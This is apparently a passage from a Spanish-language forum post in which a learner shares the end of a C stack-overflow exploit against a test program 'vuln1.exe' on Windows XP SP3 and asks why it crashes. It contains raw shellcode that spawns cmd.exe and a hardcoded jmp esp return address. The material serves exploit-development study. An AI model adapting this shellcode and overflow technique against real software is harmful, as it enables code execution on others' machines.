  27. char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x7B\x46\x86\x7C\xFF\xD3";
  28. //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
  29. //en  0x77C293C7 --> \xC7\x93\xC2\x77
  30.  
  31. char offset[]="\x7B\x46\x86\x7C"; // Offset jmp esp kernel32.dll WinXP SP3 En(US) --> 0x7C86467B --> \x7C\x46\x86\x7C
  32.  
  33. strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
  34. strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
  35. printf ("Cadena + offset + shellcode en formato printable\n\n");
  36. printf ("%s", evilbuffer);
  37.  
  38. argv[1] = "vuln1";
  39. argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
  40. argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
  41.  
  42. execv ("vuln1.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento
  43.  
  44. return 0;
  45. }

Pues bueno, ejecuto el exploit y me da error, le doy a "debug" para que saber qué ha pasado con mi debugger just-in-time, y veo esto:

(http://www.subeimagenes.com/img/02-866366.png)

¿Y eso?